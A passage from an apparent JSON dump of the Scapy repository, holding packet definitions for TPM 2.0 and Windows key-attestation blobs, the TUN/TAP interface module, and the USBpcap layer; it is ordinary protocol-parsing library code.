TPM_ALG_RSA\n                ),\n            ],\n            StrField(\"sensitive\", b\"\"),\n        ),\n    ]\n\n\nclass TPM2B_SENSITIVE(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        PacketLenField(\n            \"sensitiveArea\",\n            TPMT_SENSITIVE(),\n            TPMT_SENSITIVE,\n            length_from=lambda pkt: pkt.size,\n        ),\n    ]\n\n\nclass _PRIVATE(_Packet):\n    fields_desc = [\n        PacketField(\"integrityOuter\", TPM2B_DIGEST(), TPM2B_DIGEST),\n        PacketField(\"integrityInner\", TPM2B_DIGEST(), TPM2B_DIGEST),\n        StrField(\"sensitive\", b\"\"),  # Encrypted\n    ]\n\n\nclass TPM2B_PRIVATE(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        PacketLenField(\n            \"buffer\",\n            _PRIVATE(),\n            _PRIVATE,\n            length_from=lambda pkt: pkt.size,\n        ),\n    ]\n\n\nclass TPM2B_NAME(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        StrLenField(\"Name\", b\"\", length_from=lambda pkt: pkt.size),\n    ]\n\n\nclass TPM2B_DATA(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        StrLenField(\"buffer\", b\"\", length_from=lambda pkt: pkt.size),\n    ]\n\n\nclass TPMA_LOCALITY(_Packet):\n    fields_desc = [\n        BitField(\"locZero\", 0, 1),\n        BitField(\"locOne\", 0, 1),\n        BitField(\"locTwo\", 0, 1),\n        BitField(\"locThree\", 0, 1),\n        BitField(\"locFour\", 0, 1),\n        BitField(\"Extended\", 0, 3),\n    ]\n\n\nclass TPMS_PCR_SELECTION(_Packet):\n    fields_desc = [\n        ShortEnumField(\"hash\", 0, TPM_ALG),\n        ByteField(\"sizeOfSelect\", 0),\n        StrFixedLenField(\"pcrSelect\", b\"\", length=PCR_SELECT_MAX),\n    ]\n\n\nclass TPML_PCR_SELECTION(_Packet):\n    fields_desc = [\n        IntField(\"count\", 0),\n        PacketListField(\n            \"pcrSelections\", [], TPMS_PCR_SELECTION, count_from=lambda pkt: pkt.count\n        ),\n    ]\n\n\nclass TPMS_CREATION_DATA(_Packet):\n    fields_desc = [\n        PacketField(\"pcrSelect\", TPML_PCR_SELECTION(), TPML_PCR_SELECTION),\n        PacketField(\"pcrDigest\", TPM2B_DIGEST(), TPM2B_DIGEST),\n        PacketField(\"locality\", TPMA_LOCALITY(), TPMA_LOCALITY),\n        ShortEnumField(\"parentNameAlg\", 0, TPM_ALG),\n        PacketField(\"parentName\", TPM2B_NAME(), TPM2B_NAME),\n        PacketField(\"parentQualifiedName\", TPM2B_NAME(), TPM2B_NAME),\n        PacketField(\"outsideInfo\", TPM2B_DATA(), TPM2B_DATA),\n    ]\n\n\nclass TPM2B_CREATION_DATA(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        PacketLenField(\n            \"creationData\",\n            TPMS_CREATION_DATA(),\n            TPMS_CREATION_DATA,\n            length_from=lambda pkt: pkt.size,\n        ),\n    ]\n\n\nclass TPMS_CLOCK_INFO(_Packet):\n    fields_desc = [\n        LongField(\"clock\", 0),  # obfuscated\n        IntField(\"resetCount\", 0),  # obfuscated\n        IntField(\"restartCount\", 0),  # obfuscated\n        ByteField(\"safe\", 0),\n    ]\n\n\nclass TPMS_CREATION_INFO(_Packet):\n    fields_desc = [\n        PacketField(\"objectName\", TPM2B_NAME(), TPM2B_NAME),\n        PacketField(\"creationHash\", TPM2B_DIGEST(), TPM2B_DIGEST),\n    ]\n\n\nclass TPMS_CERTIFY_INFO(_Packet):\n    fields_desc = [\n        PacketField(\"Name\", TPM2B_NAME(), TPM2B_NAME),\n        PacketField(\"qualifiedName\", TPM2B_DIGEST(), TPM2B_DIGEST),\n    ]\n\n\nclass TPMS_ATTEST(_Packet):\n    fields_desc = [\n        StrFixedLenField(\"magic\", b\"\\xffTCG\", length=4),\n        ShortEnumField(\"type\", 0, TPM_ST),\n        PacketField(\"qualifiedSigned\", TPM2B_NAME(), TPM2B_NAME),\n        PacketField(\"extraData\", TPM2B_DATA(), TPM2B_DATA),\n        PacketField(\"clockInfo\", TPMS_CLOCK_INFO(), TPMS_CLOCK_INFO),\n        LongField(\"firmwareVersion\", 0),\n        MultipleTypeField(\n            [\n                # TPMU_ATTEST\n                (\n                    PacketField(\"attested\", TPMS_CERTIFY_INFO(), TPMS_CERTIFY_INFO),\n                    lambda pkt: pkt.type == 0x8017,  # TPM_ST_ATTEST_CERTIFY\n                ),\n                (\n                    PacketField(\"attested\", TPMS_CREATION_INFO(), TPMS_CREATION_INFO),\n                    lambda pkt: pkt.type == 0x801A,  # TPM_ST_ATTEST_CREATION\n                ),\n            ],\n            StrField(\"attested\", b\"\"),\n        ),\n    ]\n\n\nclass TPM2B_ATTEST(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        PacketLenField(\n            \"attestationData\",\n            TPMS_ATTEST(),\n            TPMS_ATTEST,\n            length_from=lambda pkt: pkt.size,\n        ),\n    ]\n\n\nclass TPM2B_PUBLIC_KEY_RSA(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        StrFixedLenField(\"buffer\", b\"\", length=MAX_RSA_KEY_BYTES),\n    ]\n\n\nclass TPMS_SIGNATURE_RSASSA(_Packet):\n    fields_desc = [\n        ShortEnumField(\"hash\", 0, TPM_ALG),\n        PacketField(\"sig\", TPM2B_PUBLIC_KEY_RSA(), TPM2B_PUBLIC_KEY_RSA),\n    ]\n\n\nclass TPMS_SIGNATURE_RSAPSS(_Packet):\n    fields_desc = [\n        ShortEnumField(\"hash\", 0, TPM_ALG),\n        PacketField(\"sig\", TPM2B_PUBLIC_KEY_RSA(), TPM2B_PUBLIC_KEY_RSA),\n    ]\n\n\nclass TPMT_SIGNATURE(_Packet):\n    fields_desc = [\n        ShortEnumField(\"sigAlg\", 0, TPM_ALG),\n        MultipleTypeField(\n            [\n                # TPMU_SIGNATURE\n                (\n                    PacketField(\n                        \"signature\", TPMS_SIGNATURE_RSASSA(), TPMS_SIGNATURE_RSASSA\n                    ),\n                    lambda pkt: pkt.sigAlg == 0x0014,  # RSASSA\n                ),\n                (\n                    PacketField(\n                        \"signature\", TPMS_SIGNATURE_RSAPSS(), TPMS_SIGNATURE_RSAPSS\n                    ),\n                    lambda pkt: pkt.sigAlg == 0x0016,  # RSASSA\n                ),\n            ],\n            StrField(\"signature\", b\"\"),\n        ),\n    ]\n\n\n# From \"Using the Windows 8 Platform PCP\" documentation\n# https://github.com/Microsoft/TSS.MSR/blob/main/PCPTool.v11/inc/TpmAtt.h\n\n\n# NCRYPT_PCP_TPM12_IDBINDING\nclass PCP_IDBinding20(Packet):\n    fields_desc = [\n        PacketField(\"PublicKey\", TPM2B_PUBLIC(), TPM2B_PUBLIC),\n        PacketField(\"CreationData\", TPM2B_CREATION_DATA(), TPM2B_CREATION_DATA),\n        PacketField(\"Attest\", TPM2B_ATTEST(), TPM2B_ATTEST),\n        PacketField(\"Signature\", TPMT_SIGNATURE(), TPMT_SIGNATURE),\n    ]\n\n\n_PCP_TYPE = {\n    1: \"TPM 1.2\",\n    2: \"TPM 2.0\",\n}\n\n\nclass PCP_KEY_BLOB(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Magic\", b\"PCPM\", length=4),\n        LEIntField(\"cbHeader\", 0),\n        LEIntEnumField(\"pcpType\", 1, _PCP_TYPE),\n        FlagsField(\n            \"flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"authRequired\",\n                0x00000002: \"undocumented2\",\n            },\n        ),\n        LEIntField(\"cbTpmKey\", 0),\n        StrLenField(\n            \"tpmKey\",\n            b\"\",\n            length_from=lambda pkt: pkt.cbTpmKey,\n        ),\n    ]\n\n\nclass PCP_20_KEY_BLOB(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Magic\", b\"PCPM\", length=4),\n        LEIntField(\"cbHeader\", 0),\n        LEIntEnumField(\"pcpType\", 2, _PCP_TYPE),\n        FlagsField(\n            \"flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"authRequired\",\n                0x00000002: \"undocumented2\",\n            },\n        ),\n        LEIntField(\"cbPublic\", 0),\n        LEIntField(\"cbPrivate\", 0),\n        LEIntField(\"cbMigrationPublic\", 0),\n        LEIntField(\"cbMigrationPrivate\", 0),\n        LEIntField(\"cbPolicyDigestList\", 0),\n        LEIntField(\"cbPCRBinding\", 0),\n        LEIntField(\"cbPCRDigest\", 0),\n        LEIntField(\"cbEncryptedSecret\", 0),\n        LEIntField(\"cbTpm12HostageBlob\", 0),\n        LEIntField(\"pcrAlgId\", 0),\n        PacketLenField(\n            \"public\",\n            TPM2B_PUBLIC(),\n            TPM2B_PUBLIC,\n            length_from=lambda pkt: pkt.cbPublic,\n        ),\n        PacketLenField(\n            \"private\",\n            TPM2B_PRIVATE(),\n            TPM2B_PRIVATE,\n            length_from=lambda pkt: pkt.cbPrivate,\n        ),\n        PacketLenField(\n            \"migrationPublic\",\n            None,\n            TPM2B_PUBLIC,\n            length_from=lambda pkt: pkt.cbMigrationPublic,\n        ),\n        PacketLenField(\n            \"migrationPrivate\",\n            TPM2B_PRIVATE(),\n            TPM2B_PRIVATE,\n            length_from=lambda pkt: pkt.cbMigrationPrivate,\n        ),\n        PacketLenField(\n            \"policyDigestList\",\n            TPML_DIGEST(),\n            TPML_DIGEST,\n            length_from=lambda pkt: pkt.cbPolicyDigestList,\n        ),\n        StrLenField(\n            \"pcrBinding\",\n            b\"\",\n            length_from=lambda pkt: pkt.cbPCRBinding,\n        ),\n        StrLenField(\n            \"pcrDigest\",\n            b\"\",\n            length_from=lambda pkt: pkt.cbPCRDigest,\n        ),\n        StrLenField(\n            \"encryptedSecret\",\n            b\"\",\n            length_from=lambda pkt: pkt.cbEncryptedSecret,\n        ),\n        StrLenField(\n            \"tpm12HostageBlob\",\n            b\"\",\n            length_from=lambda pkt: pkt.cbTpm12HostageBlob,\n        ),\n    ]\n\n\n###########################\n#    Microsoft Windows    #\n###########################\n\n# [MS-WCCE] sect 2.2.2.5\n\n\nclass KeyAttestation(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Magic\", b\"KADS\", length=4),\n        LEIntEnumField(\"Platform\", 2, _PCP_TYPE),\n        LEIntField(\"HeaderSize\", 0),\n        LEIntField(\"cbKeyAttest\", 0),\n        LEIntField(\"cbSignature\", 0),\n        LEIntField(\"cbKeyBlob\", 0),\n        MultipleTypeField(\n            [\n                (\n                    PacketLenField(\n                        \"keyAttest\",\n                        TPMS_ATTEST(),\n                        TPMS_ATTEST,\n                        length_from=lambda pkt: pkt.cbKeyAttest,\n                    ),\n                    lambda pkt: pkt.Platform == 2,\n                )\n            ],\n            StrLenField(\n                \"keyAttest\",\n                b\"\",\n                length_from=lambda pkt: pkt.cbKeyAttest,\n            ),\n        ),\n        StrLenField(\n            \"signature\",\n            b\"\",\n            length_from=lambda pkt: pkt.cbSignature,\n        ),\n        MultipleTypeField(\n            [\n                (\n                    PacketLenField(\n                        \"keyBlob\",\n                        PCP_20_KEY_BLOB(),\n                        PCP_20_KEY_BLOB,\n                        length_from=lambda pkt: pkt.cbKeyBlob,\n                    ),\n                    lambda pkt: pkt.Platform == 2,\n                ),\n                (\n                    PacketLenField(\n                        \"keyBlob\",\n                        PCP_KEY_BLOB(),\n                        PCP_KEY_BLOB,\n                        length_from=lambda pkt: pkt.cbKeyBlob,\n                    ),\n                    lambda pkt: pkt.Platform == 1,\n                ),\n            ],\n            StrLenField(\n                \"keyBlob\",\n                b\"\",\n                length_from=lambda pkt: pkt.cbKeyBlob,\n            ),\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass KeyAttestationStatement(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Magic\", b\"KAST\", length=4),\n        LEIntField(\"Version\", 1),\n        LEIntEnumField(\"Platform\", 2, _PCP_TYPE),\n        LEIntField(\"HeaderSize\", 0),\n        LEIntField(\"cbIdBinding\", 0),\n        LEIntField(\"cbKeyAttestation\", 0),\n        LEIntField(\"cbAIKOpaque\", 0),\n        MultipleTypeField(\n            [\n                (\n                    PacketLenField(\n                        \"idBinding\",\n                        PCP_IDBinding20(),\n                        PCP_IDBinding20,\n                        length_from=lambda pkt: pkt.cbIdBinding,\n                    ),\n                    lambda pkt: pkt.Platform == 2,\n                )\n            ],\n            StrLenField(\n                \"idBinding\",\n                b\"\",\n                length_from=lambda pkt: pkt.cbIdBinding,\n            ),\n        ),\n        PacketLenField(\n            \"keyAttestation\",\n            KeyAttestation(),\n            KeyAttestation,\n            length_from=lambda pkt: pkt.cbKeyAttestation,\n        ),\n        MultipleTypeField(\n            [\n                (\n                    PacketLenField(\n                        \"aikOpaque\",\n                        PCP_20_KEY_BLOB(),\n                        PCP_20_KEY_BLOB,\n                        length_from=lambda pkt: pkt.cbAIKOpaque,\n                    ),\n                    lambda pkt: pkt.Platform == 2,\n                ),\n                (\n                    PacketLenField(\n                        \"aikOpaque\",\n                        PCP_KEY_BLOB(),\n                        PCP_KEY_BLOB,\n                        length_from=lambda pkt: pkt.cbAIKOpaque,\n                    ),\n                    lambda pkt: pkt.Platform == 1,\n                ),\n            ],\n            StrLenField(\n                \"aikOpaque\",\n                b\"\",\n                length_from=lambda pkt: pkt.cbAIKOpaque,\n            ),\n        ),\n    ]\n"
  },
  {
    "path": "scapy/layers/tuntap.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n\n\"\"\"\nImplementation of TUN/TAP interfaces.\n\nThese allow Scapy to act as the remote side of a virtual network interface.\n\"\"\"\n\nimport socket\nimport time\nfrom fcntl import ioctl\n\nfrom scapy.compat import bytes_encode, raw\nfrom scapy.config import conf\nfrom scapy.consts import BIG_ENDIAN, BSD, DARWIN, LINUX\nfrom scapy.data import ETHER_TYPES, MTU\nfrom scapy.error import log_runtime, warning\nfrom scapy.fields import (\n    BitField,\n    Field,\n    FlagsField,\n    IntField,\n    StrFixedLenField,\n    XShortEnumField,\n)\nfrom scapy.interfaces import network_name\nfrom scapy.layers.inet import IP\nfrom scapy.layers.inet6 import IPv6, IPv46\nfrom scapy.layers.l2 import Ether\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.supersocket import SimpleSocket\n\n# Linux-specific defines (/usr/include/linux/if_tun.h)\nLINUX_TUNSETIFF = 0x400454ca\nLINUX_IFF_TUN = 0x0001\nLINUX_IFF_TAP = 0x0002\nLINUX_IFF_NO_PI = 0x1000\nLINUX_IFNAMSIZ = 16\n\n# Darwin-specific defines (net/if_utun.h and sys/kern_control.h)\nDARWIN_CTLIOCGINFO = 0xc0644e03\nDARWIN_UTUN_CONTROL_NAME = b\"com.apple.net.utun_control\"\nDARWIN_MAX_KCTL_NAME = 96\n\n\nclass NativeShortField(Field):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"@H\")\n\n\nclass TunPacketInfo(Packet):\n    aliastypes = [Ether]\n\n\nclass LinuxTunIfReq(Packet):\n    \"\"\"\n    Structure to request a specific device name for a tun/tap\n    Linux  ``struct ifreq``.\n\n    See linux/if.h (struct ifreq) and tuntap.txt for reference.\n    \"\"\"\n    fields_desc = [\n        # union ifr_ifrn\n        StrFixedLenField(\"ifrn_name\", b\"\", 16),\n        # union ifr_ifru\n        NativeShortField(\"ifru_flags\", 0),\n    ]\n\n\nclass DarwinUtunIfReq(Packet):\n    \"\"\"\n    Structure for issuing Darwin ioctl commands (``struct ctl_info``).\n\n    See net/if_utun.h and sys/kern_control.h for reference.\n    \"\"\"\n    fields_desc = [\n        BitField(\"ctl_id\", 0, -32),\n        StrFixedLenField(\"ctl_name\", DARWIN_UTUN_CONTROL_NAME, DARWIN_MAX_KCTL_NAME)\n    ]\n\n\nclass LinuxTunPacketInfo(TunPacketInfo):\n    \"\"\"\n    Base for TUN packets.\n\n    See linux/if_tun.h (struct tun_pi) for reference.\n    \"\"\"\n    fields_desc = [\n        # This is native byte order\n        FlagsField(\"flags\", 0,\n                   (lambda _: 16 if BIG_ENDIAN else -16),\n                   [\"TUN_VNET_HDR\"] +\n                   [\"reserved%d\" % x for x in range(1, 16)]),\n        # This is always network byte order\n        XShortEnumField(\"type\", 0x9000, ETHER_TYPES),\n    ]\n\n\nclass DarwinUtunPacketInfo(Packet):\n    fields_desc = [\n        IntField(\"addr_family\", socket.AF_INET)\n    ]\n\n\nclass TunTapInterface(SimpleSocket):\n    \"\"\"\n    A socket to act as the host's peer of a tun / tap interface.\n\n    This implements kernel interfaces for tun and tap devices.\n\n    :param iface: The name of the interface to use, eg: 'tun0'\n    :param mode_tun: If True, create as TUN interface (layer 3).\n                     If False, creates a TAP interface (layer 2).\n                     If not supplied, attempts to detect from the ``iface``\n                     name.\n    :type mode_tun: bool\n    :param strip_packet_info: If True (default), strips any TunPacketInfo from\n                              the packet. If False, leaves it in tact. Some\n                              operating systems and tunnel types don't include\n                              this sort of data.\n    :type strip_packet_info: bool\n\n    FreeBSD references:\n\n    * tap(4): https://www.freebsd.org/cgi/man.cgi?query=tap&sektion=4\n    * tun(4): https://www.freebsd.org/cgi/man.cgi?query=tun&sektion=4\n\n    Linux references:\n\n    * https://www.kernel.org/doc/Documentation/networking/tuntap.txt\n\n    \"\"\"\n    desc = \"Act as the host's peer of a tun / tap interface\"\n\n    def __init__(self, iface=None, mode_tun=None, default_read_size=MTU,\n                 strip_packet_info=True, *args, **kwargs):\n        self.iface = bytes_encode(\n            network_name(conf.iface) if iface is None else iface\n        )\n\n        self.mode_tun = mode_tun\n        if self.mode_tun is None:\n            if self.iface.startswith(b\"tun\") or self.iface.startswith(b\"utun\"):\n                self.mode_tun = True\n            elif self.iface.startswith(b\"tap\"):\n                self.mode_tun = False\n            else:\n                raise ValueError(\n                    \"Could not determine interface type for %r; set \"\n                    \"`mode_tun` explicitly.\" % (self.iface,))\n\n        self.strip_packet_info = bool(strip_packet_info)\n\n        # This is non-zero when there is some kernel-specific packet info.\n        # We add this to any MTU value passed to recv(), and use it to\n        # remove leading bytes when strip_packet_info=True.\n        self.mtu_overhead = 0\n\n        # The TUN packet specification sends raw IP at us, and doesn't specify\n        # which version.\n        self.kernel_packet_class = IPv46 if self.mode_tun else Ether\n\n        if LINUX:\n            devname = b\"/dev/net/tun\"\n\n            # Having an EtherType always helps on Linux, then we don't need\n            # to use auto-detection of IP version.\n            if self.mode_tun:\n                self.kernel_packet_class = LinuxTunPacketInfo\n                self.mtu_overhead = 4  # len(LinuxTunPacketInfo)\n            else:\n                warning(\"tap devices on Linux do not include packet info!\")\n                self.strip_packet_info = True\n\n            if len(self.iface) > LINUX_IFNAMSIZ:\n                warning(\"Linux interface names are limited to %d bytes, \"\n                        \"truncating!\" % (LINUX_IFNAMSIZ,))\n                self.iface = self.iface[:LINUX_IFNAMSIZ]\n            sock = open(devname, \"r+b\", buffering=0)\n        elif BSD:  # also DARWIN\n            if self.iface.startswith(b\"utun\"):  # allowed for Darwin\n                if not DARWIN:\n                    raise ValueError('`utun` iface prefix is only allowed for Darwin')\n                self.kernel_packet_class = DarwinUtunPacketInfo\n                self.mtu_overhead = 4\n                interface_num = int(self.iface[4:])\n\n                utun_socket = socket.socket(\n                    socket.PF_SYSTEM, socket.SOCK_DGRAM, socket.SYSPROTO_CONTROL)\n                ctl_info = ioctl(utun_socket, DARWIN_CTLIOCGINFO,\n                                 raw(DarwinUtunIfReq()))\n                utun_socket.connect(\n                    (DarwinUtunIfReq(ctl_info).getfieldval(\"ctl_id\"), interface_num + 1)\n                )\n\n                sock = utun_socket.makefile(mode=\"rwb\", buffering=0)\n            elif self.iface.startswith(b\"tap\") or self.iface.startswith(b\"tun\"):\n                devname = b\"/dev/\" + self.iface\n                if not self.strip_packet_info:\n                    warning(\"tun/tap devices on BSD and Darwin never include \"\n                            \"packet info!\")\n                    self.strip_packet_info = True\n                sock = open(devname, \"r+b\", buffering=0)\n            else:\n                raise ValueError(\"Interface names must start with `tun` or \"\n                                 \"`tap` on BSD and Darwin or `utun` on Darwin\")\n        else:\n            raise NotImplementedError(\"TunTapInterface is not supported on \"\n                                      \"this platform!\")\n\n        if LINUX:\n            if self.mode_tun:\n                flags = LINUX_IFF_TUN\n            else:\n                # Linux can send us LinuxTunPacketInfo for TAP interfaces, but\n                # the kernel sends the wrong information!\n                #\n                # Instead of type=1 (Ether), it sends that of the payload\n                # (eg: 0x800 for IPv4 or 0x86dd for IPv6).\n                #\n                # tap interfaces always send Ether frames, which include a\n                # type parameter for the IPv4/v6/etc. payload, so we set\n                # IFF_NO_PI.\n                flags = LINUX_IFF_TAP | LINUX_IFF_NO_PI\n\n            tsetiff = raw(LinuxTunIfReq(\n                ifrn_name=self.iface,\n                ifru_flags=flags))\n\n            ioctl(sock, LINUX_TUNSETIFF, tsetiff)\n\n        self.closed = False\n        self.default_read_size = default_read_size\n        super(TunTapInterface, self).__init__(sock)\n\n    def __call__(self, *arg, **karg):\n        \"\"\"Needed when using an instantiated TunTapInterface object for\n        conf.L2listen, conf.L2socket or conf.L3socket.\n\n        \"\"\"\n        return self\n\n    def recv_raw(self, x=None):\n        if x is None:\n            x = self.default_read_size\n\n        x += self.mtu_overhead\n\n        dat = self.ins.read(x)\n        r = self.kernel_packet_class, dat, time.time()\n        if self.mtu_overhead > 0 and self.strip_packet_info:\n            # Get the packed class of the payload, without triggering a full\n            # decode of the payload data.\n            cls = r[0](r[1][:self.mtu_overhead]).guess_payload_class(b'')\n\n            # Return the payload data only\n            return cls, r[1][self.mtu_overhead:], r[2]\n        else:\n            return r\n\n    def send(self, x):\n        # type: (Packet) -> int\n        if hasattr(x, \"sent_time\"):\n            x.sent_time = time.time()\n\n        if self.kernel_packet_class == IPv46:\n            # IPv46 is an auto-detection wrapper; we should just push through\n            # packets normally if we got IP or IPv6.\n            if not isinstance(x, (IP, IPv6)):\n                x = IP() / x\n        elif not isinstance(x, self.kernel_packet_class):\n            x = self.kernel_packet_class() / x\n\n        sx = raw(x)\n\n        try:\n            r = self.outs.write(sx)\n            self.outs.flush()\n            return r\n        except socket.error:\n            log_runtime.error(\"%s send\",\n                              self.__class__.__name__, exc_info=True)\n\n\n# Bindings #\nbind_layers(DarwinUtunPacketInfo, IP, addr_family=socket.AF_INET)\nbind_layers(DarwinUtunPacketInfo, IPv6, addr_family=socket.AF_INET6)\n"
  },
  {
    "path": "scapy/layers/usb.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nDefault USB frames & Basic implementation\n\"\"\"\n\n# TODO: support USB headers for Linux and Darwin (usbmon/netmon)\n# https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c  # noqa: E501\n\nfrom scapy.config import conf\nfrom scapy.compat import chb\nfrom scapy.data import DLT_USBPCAP\nfrom scapy.fields import ByteField, XByteField, ByteEnumField, LEShortField, \\\n    LEShortEnumField, LEIntField, LEIntEnumField, XLELongField, \\\n    LenField\nfrom scapy.packet import Packet, bind_top_down\n\n\n# USBpcap\n\n_usbd_status_codes = {\n    0x00000000: \"Success\",\n    0x40000000: \"Pending\",\n    0xC0000000: \"Halted\",\n    0x80000000: \"Error\"\n}\n\n_transfer_types = {\n    0x0: \"Isochronous\",\n    0x1: \"Interrupt\",\n    0x2: \"Control\"\n}\n\n# From https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c  # noqa: E501\n_urb_functions = {\n    0x0008: \"URB_FUNCTION_CONTROL_TRANSFER\",\n    0x0009: \"URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER\",\n    0x000A: \"URB_FUNCTION_ISOCH_TRANSFER\",\n    0x000B: \"URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE\",\n    0x000C: \"URB_FUNCTION_SET_DESCRIPTOR_TO_DEVICE\",\n    0x000D: \"URB_FUNCTION_SET_FEATURE_TO_DEVICE\",\n    0x000E: \"URB_FUNCTION_SET_FEATURE_TO_INTERFACE\",\n    0x000F: \"URB_FUNCTION_SET_FEATURE_TO_ENDPOINT\",\n    0x0010: \"URB_FUNCTION_CLEAR_FEATURE_TO_DEVICE\",\n    0x0011: \"URB_FUNCTION_CLEAR_FEATURE_TO_INTERFACE\",\n    0x0012: \"URB_FUNCTION_CLEAR_FEATURE_TO_ENDPOINT\",\n    0x0013: \"URB_FUNCTION_GET_STATUS_FROM_DEVICE\",\n    0x0014: \"URB_FUNCTION_GET_STATUS_FROM_INTERFACE\",\n    0x0015: \"URB_FUNCTION_GET_STATUS_FROM_ENDPOINT\",\n    0x0017: \"URB_FUNCTION_VENDOR_DEVICE\",\n    0x0018: \"URB_FUNCTION_VENDOR_INTERFACE\",\n    0x0019: \"URB_FUNCTION_VENDOR_ENDPOINT\",\n    0x001A: \"URB_FUNCTION_CLASS_DEVICE\",\n    0x001B: \"URB_FUNCTION_CLASS_INTERFACE\",\n    0x001C: \"URB_FUNCTION_CLASS_ENDPOINT\",\n    0x001F: \"URB_FUNCTION_CLASS_OTHER\",\n    0x0020: \"URB_FUNCTION_VENDOR_OTHER\",\n    0x0021: \"URB_FUNCTION_GET_STATUS_FROM_OTHER\",\n    0x0022: \"URB_FUNCTION_CLEAR_FEATURE_TO_OTHER\",\n    0x0023: \"URB_FUNCTION_SET_FEATURE_TO_OTHER\",\n    0x0024: \"URB_FUNCTION_GET_DESCRIPTOR_FROM_ENDPOINT\",\n    0x0025: \"URB_FUNCTION_SET_DESCRIPTOR_TO_ENDPOINT\",\n    0x0026: \"URB_FUNCTION_GET_CONFIGURATION\",\n    0x0027: \"URB_FUNCTION_GET_INTERFACE\",\n    0x0028: \"URB_FUNCTION_GET_DESCRIPTOR_FROM_INTERFACE\",\n    0x0029: \"URB_FUNCTION_SET_DESCRIPTOR_TO_INTERFACE\",\n    0x002A: \"URB_FUNCTION_GET_MS_FEATURE_DESCRIPTOR\",\n    0x0032: \"URB_FUNCTION_CONTROL_TRANSFER_EX\",\n    0x0037: \"URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER_USING_CHAINED_MDL\",\n    0x0002: \"URB_FUNCTION_ABORT_PIPE\",\n    0x001E: \"URB_FUNCTION_SYNC_RESET_PIPE_AND_CLEAR_STALL\",\n    0x0030: \"URB_FUNCTION_SYNC_RESET_PIPE\",\n    0x0031: \"URB_FUNCTION_SYNC_CLEAR_STALL\",\n}\n\n\nclass USBpcap(Packet):\n    name = \"USBpcap URB\"\n    fields_desc = [ByteField(\"headerLen\", None),\n                   ByteField(\"res\", 0),\n                   XLELongField(\"irpId\", 0),\n                   LEIntEnumField(\"usbd_status\", 0x0, _usbd_status_codes),\n                   LEShortEnumField(\"function\", 0, _urb_functions),\n                   XByteField(\"info\", 0),\n                   LEShortField(\"bus\", 0),\n                   LEShortField(\"device\", 0),\n                   XByteField(\"endpoint\", 0),\n                   ByteEnumField(\"transfer\", 0, _transfer_types),\n                   LenField(\"dataLength\", None, fmt=\"<I\")]\n\n    def post_build(self, p, pay):\n        if self.headerLen is None:\n            headerLen = len(p)\n            if isinstance(self.payload, (USBpcapTransferIsochronous,\n                                         USBpcapTransferInterrupt,\n                                         USBpcapTransferControl)):\n                headerLen += len(self.payload) - len(self.payload.payload)\n            p = chb(headerLen) + p[1:]\n        return p + pay\n\n    def guess_payload_class(self, payload):\n        if self.headerLen == 27:\n            # No Transfer layer\n            return super(USBpcap, self).guess_payload_class(payload)\n        if self.transfer == 0:\n            return USBpcapTransferIsochronous\n        elif self.transfer == 1:\n            return USBpcapTransferInterrupt\n        elif self.transfer == 2:\n            return USBpcapTransferControl\n        return super(USBpcap, self).guess_payload_class(payload)\n\n\nclass USBpcapTransferIsochronous(Packet):\n    name = \"USBpcap Transfer Isochronous\"\n    fields_desc = [\n        LEIntField(\"offset\", 0),\n        LEIntField(\"length\", 0),\n        LEIntEnumField(\"usbd_status\", 0x0, _usbd_status_codes)\n    ]\n\n\nclass USBpcapTransferInterrupt(Packet):\n    name = \"USBpcap Transfer Interrupt\"\n    fields_desc = [\n        LEIntField(\"startFrame\", 0),\n        LEIntField(\"numberOfPackets\", 0),\n        LEIntField(\"errorCount\", 0)\n    ]\n\n\nclass USBpcapTransferControl(Packet):\n    name = \"USBpcap Transfer Control\"\n    fields_desc = [\n        ByteField(\"stage\", 0)\n    ]\n\n\nbind_top_down(USBpcap, USBpcapTransferIsochronous, transfer=0)\nbind_top_down(USBpcap, USBpcapTransferInterrupt, transfer=1)\nbind_top_down(USBpcap, USBpcapTransferControl, transfer=2)\n\nconf.l2types.register(DLT_USBPCAP, USBpcap)\n"
  },
  {
    "path": "scapy/layers/vrrp.py",
